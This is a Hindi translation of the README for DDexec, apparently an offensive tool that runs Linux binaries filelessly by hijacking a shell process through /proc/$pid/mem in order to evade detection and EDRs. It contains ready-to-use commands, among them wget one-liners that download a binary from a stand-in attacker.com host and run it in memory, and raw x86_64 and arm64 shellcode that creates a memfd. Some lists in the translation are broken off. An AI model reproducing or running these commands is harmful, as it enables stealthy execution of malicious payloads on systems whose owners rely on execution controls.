
एक तकनीक जो लिनक्स पर बाइनरी को बिना फ़ाइल के और चुपके से चलाने के लिए शेल की प्रक्रिया को दूसरी प्रक्रिया से "ओवरराइट" करती है।
मैंने DDexec को इतना अपडेट किया है कि यह मुश्किल से पहचाना जा सकता है, अब ELF का पार्सिंग शेल स्क्रिप्ट के बजाय मशीन कोड द्वारा किया जाता है, जिससे यह कहीं अधिक तेज़, विश्वसनीय और समझने योग्य हो गया है। इसने अपनी निर्भरताओं की संख्या को भी न्यूनतम कर दिया है।
यह अब शेल के अंकगणित पर भी शायद ही निर्भर करता है, जो इसे Android पर काम करवा सकता है।
Linux में किसी प्रोग्राम को चलाने के लिए, उसे एक फ़ाइल के रूप में मौजूद होना चाहिए, यह फ़ाइल सिस्टम पदानुक्रम के माध्यम से किसी तरह सुलभ होनी चाहिए (execve() इसी तरह काम करता है)। यह फ़ाइल डिस्क या RAM (tmpfs, memfd) पर हो सकती है, लेकिन आपको एक फ़ाइलपथ की आवश्यकता है। इससे Linux सिस्टम पर क्या चलाया जाता है, इसे नियंत्रित करना बहुत आसान हो गया है, खतरों और हमलावरों के उपकरणों का पता लगाना आसान हो गया है, या उन्हें अपनी कोई भी चीज़ चलाने से रोकना आसान हो गया है (उदाहरण के लिए, अनप्रिविलेज्ड उपयोगकर्ताओं को कहीं भी निष्पादन योग्य फ़ाइलें रखने की अनुमति न देना)।
ठीक है, यदि आप वह प्रक्रिया शुरू नहीं कर सकते जो आप चाहते हैं... तो आप एक पहले से मौजूद प्रक्रिया को हाईजैक करके तब तक तड़पाते हैं जब तक वह आपकी इच्छाओं को पूरा न कर दे।
ddexec.sh स्क्रिप्ट में वह बाइनरी पाइप करें जिसे आप चलाना चाहते हैं। स्क्रिप्ट के लिए तर्क प्रोग्राम के तर्क होते हैं (argv[0] से शुरू)।
यहां, इसे आज़माएं:
bash ddexec.sh ls -lA < /bin/ls
जिसे कुछ इस तरह से आसानी से हथियार बनाया जा सकता है
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
ddsc.sh नामक एक स्क्रिप्ट भी है जो आपको सीधे मशीन कोड चलाने की अनुमति देती है।
निम्नलिखित एक शेलकोड के उपयोग का उदाहरण है जो एक memfd (मेमोरी में एक फ़ाइल की ओर इशारा करने वाला फ़ाइल डिस्क्रिप्टर) बनाएगा, जिसमें हम बाद में बाइनरी लिख सकते हैं और उन्हें चला सकते हैं, जाहिर है मेमोरी से।
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
ARM64 में प्रक्रिया समान है।
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
परीक्षित Linux वितरण Debian, Alpine और Arch हैं। समर्थित शेल bash, zsh और ash (busybox) हैं; x86_64 और aarch64 (arm64) आर्किटेक्चर पर।
12/12/2022 तक मुझे dd के कई विकल्प मिल गए हैं, जिनमें से एक, tail, वर्तमान में mem फ़ाइल के माध्यम से lseek() करने के लिए उपयोग किया जाने वाला डिफ़ॉल्ट प्रोग्राम है (जो dd का एकमात्र उद्देश्य था)। ये विकल्प हैं:
tail
hexdump
cmp
xxd
चर SEEKER सेट करके आप उपयोग किए जाने वाले seeker को बदल सकते हैं, उदाहरण:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
यदि आपको स्क्रिप्ट में लागू नहीं किया गया कोई अन्य वैध seeker मिलता है, तो आप SEEKER_ARGS चर सेट करके उसका उपयोग कर सकते हैं:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
इसे ब्लॉक करो, EDRs।
यह स्क्रिप्ट काम करने के लिए निम्नलिखित उपकरणों पर निर्भर करती है।
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | कोई अन्य प्रोग्राम जो हमें fd के माध्यम से सीक करने की अनुमति देता है
ash के मामले में, tail, dd, hexdump, cmp और xxd बिल्ट-इन हैं, इसलिए वे वास्तव में कोई निर्भरता नहीं हैं।
नोट: यह केवल busybox के आधुनिक संस्करणों पर काम करता है, सबसे पुराने संस्करण के बारे में निश्चित नहीं, मैंने इसे नहीं देखा है। मुझे पता है कि यह v1.35.0 पर काम करता है, लेकिन v1.30.0 पर नहीं करता।
यदि आप किसी प्रक्रिया की मेमोरी को मनमाने ढंग से संशोधित करने में सक्षम हैं, तो आप उस पर नियंत्रण ले सकते हैं। इसका उपयोग किसी मौजूदा प्रक्रिया को हाईजैक करने और उसे दूसरे प्रोग्राम से बदलने के लिए किया जा सकता है। हम इसे या तो ptrace() सिस्टम कॉल का उपयोग करके (जिसके लिए सिस्टम कॉल निष्पादित करने की क्षमता या सिस्टम पर gdb उपलब्ध होना आवश्यक है) या, अधिक दिलचस्प रूप से, /proc/$pid/mem पर लिखकर प्राप्त कर सकते हैं।
फ़ाइल /proc/$pid/mem एक प्रक्रिया के यूज़रलैंड पता स्थान का एक-से-एक मैपिंग है (उदाहरण के लिए, x86-64 में 0x0 से 0x7ffffffffffff000 तक)। इसका मतलब है कि इस फ़ाइल को ऑफ़सेट x पर पढ़ना या लिखना वैसा ही है जैसे वर्चुअल एड्रेस x पर सामग्री को पढ़ना या संशोधित करना।
अब, हमारे सामने तीन बुनियादी समस्याएं हैं:
लेकिन हमारे पास चतुर समाधान हैं:
mem फ़ाइल की ओर इशारा करते हुए लिखने की अनुमति वाला एक fd बना सकते हैं... ताकि उस fd का उपयोग करने वाली चाइल्ड प्रक्रियाएं शेल की मेमोरी को संशोधित करने में सक्षम होंगी।maps फ़ाइल की जांच कर सकते हैं।lseek() करने की आवश्यकता है। शेल से यह कुछ सामान्य बाइनरी का उपयोग करके किया जा सकता है, जैसे tail या कुख्यात dd, अधिक जानकारी के लिए EverythingExec अनुभाग देखें।चरण अपेक्षाकृत आसान हैं और उन्हें समझने के लिए किसी विशेषज्ञता की आवश्यकता नहीं है:
/proc/$pid/syscall से उस पते को प्राप्त करें जहां प्रक्रिया वर्तमान में निष्पादित सिस्टम कॉल के बाद वापस आएगी —चूंकि हम इस फ़ाइल को पढ़ रहे हैं, उक्त सिस्टम कॉल read() होगी, और पता libc के read() रैपर में होगा। यह केवल एक स्थान प्राप्त करने के लिए है जहां हमारा स्टेजर जल्द ही मिलेगा।execve() के प्रत्येक कॉल पर उठाता है:
शेलकोड को loader.c को कंपाइल करके, और कंपाइलर द्वारा शुरू किए गए ढेरों आर्टिफैक्ट्स को हटाने और सरल बनाने के लिए इसकी असेंबली को ट्वीक करके उत्पन्न किया गया है।
खैर, कुछ TODOs हैं। इसके अलावा, आपने देखा होगा कि मैं शेल स्क्रिप्टिंग के बारे में ज्यादा नहीं जानता (मैं खुद एक C प्रोग्रामर हूं) और मुझे यकीन है कि मैंने "useless use of a cat" के एक दशक के पुरस्कार जीते होंगे —इस उपकरण को बनाने में कोई बिल्ली घायल नहीं हुई— और बाकी प्रकार इस परियोजना के केवल एक हिस्से के साथ।
— अन्य शेल पर पोर्ट करें —सीमा में हमें स्क्रिप्ट को POSIX अनुरूप बनाना चाहिए।
वैसे भी, बेझिझक फोर्क करें और PR करें। लेकिन कृपया, योगदान करते समय ध्यान रखें कि PRs जो समर्थित शेल पर काम नहीं करते हैं, स्वीकार नहीं किए जाएंगे, यह योगदान नहीं है, यह सिर्फ चीजों को तोड़ना है। सबसे अच्छा होगा कि आपके परिवर्तन POSIX अनुरूप हों।
बस... कृपया, कृपया, कृपया, अपने कोड की जांच करें और देखें कि क्या यह कम से कम Debian और Alpine पर समर्थित शेल पर काम करता है। यह सिर्फ कुछ डॉकर हैं।
इस उपकरण को प्रकाशित करने के बाद मुझे पता चला कि Sektor7 ने पहले ही प्रकाशित किया था यह लगभग-समान तकनीक अपने ब्लॉग पर कुछ साल पहले।
इसके बावजूद, मैंने इस तकनीक के बारे में स्वतंत्र रूप से सोचा, अब लगभग, इसकी संपूर्णता में। संभवतः इस तकनीक का सबसे चतुर हिस्सा इनहेरिट किए गए फ़ाइल डिस्क्रिप्टर का उपयोग है, यह विचार प्रस्तुत David Buchanan द्वारा (Sektor7 के ब्लॉग से प्रेरित) लगभग एक साल पहले मैंने इस विषय के बारे में सोचना शुरू किया था। अकेले यह न केवल तकनीक को बहुत सरल और साफ-सुथरा बनाता है, बल्कि ASLR को अक्षम करने की आवश्यकता को समाप्त करके इसे कहीं अधिक घातक भी बनाता है।
किसी भी तरह, मुझे उम्मीद है कि मैं इस तकनीक को और अधिक फैलाने में सक्षम रहूंगा, जो मायने रखता है।
मैं Carlos Polop का धन्यवाद करना चाहूंगा, एक महान पेंटेस्टर और बेहतर दोस्त, जिन्होंने मुझे इस विषय के बारे में सोचने पर मजबूर किया, और उनकी मददगार प्रतिक्रिया और रुचि के लिए, ओह और मैं उन्हें परियोजना के नाम का श्रेय भी देता हूं। मुझे यकीन है कि यदि आप यह पढ़ रहे हैं तो आप पहले ही उनके शानदार उपकरण PEASS का उपयोग कर चुके हैं और उनकी पुस्तक HackTricks में कुछ मददगार लेख पाया है।
आप यह कर सकते हैं:
mem फ़ाइल के लिए समर्थन के बिना संकलित कर्नेल का उपयोग करें।आप मुझसे Twitter के माध्यम से संपर्क कर सकते हैं।